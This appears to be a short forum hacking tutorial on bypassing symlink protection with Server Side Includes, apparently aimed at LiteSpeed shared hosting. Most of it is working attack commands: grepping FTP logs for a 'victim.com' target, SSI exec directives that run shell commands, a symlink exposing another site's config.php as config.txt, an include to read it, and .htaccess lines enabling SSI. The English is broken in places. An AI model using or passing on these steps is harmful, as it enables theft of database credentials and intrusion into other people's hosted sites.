Shtml Bypass Symlink - via 404 Error

Ok now i m going to show you, how can we bypass symlink in using Server Side Includes. 

Ok lets start,
For this method we need to find a server on the Server Side Includes. 

Code: (Select All)

cd /var/log/proftpd

more xferlog.*|grep victim.com

cat xferlog.*|grep victim.com

Now we come shtml file using a command will run ourselves

Code: (Select All)

<!--#exec cmd="more xferlog.*|grep victim.com" -->

For example, the Symlynk.
ln -s /home/...../public_html/config.php config.txt
Come face to face.

Code: (Select All)

<!--#exec cmd="ln -s /home/...../public_html/config.php config.txt" -->

I'll run the script that I wrote that I do not think that hatches from Litespeed.

Now we come to read config.txt file in a shtml file I create and use the following.

Code: (Select All)

<!--#include virtual="config.txt" -->

So far so error 404 
. htaccess

Code: (Select All)

Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml

Done!

This method mostly work on LiteSpeed Web Server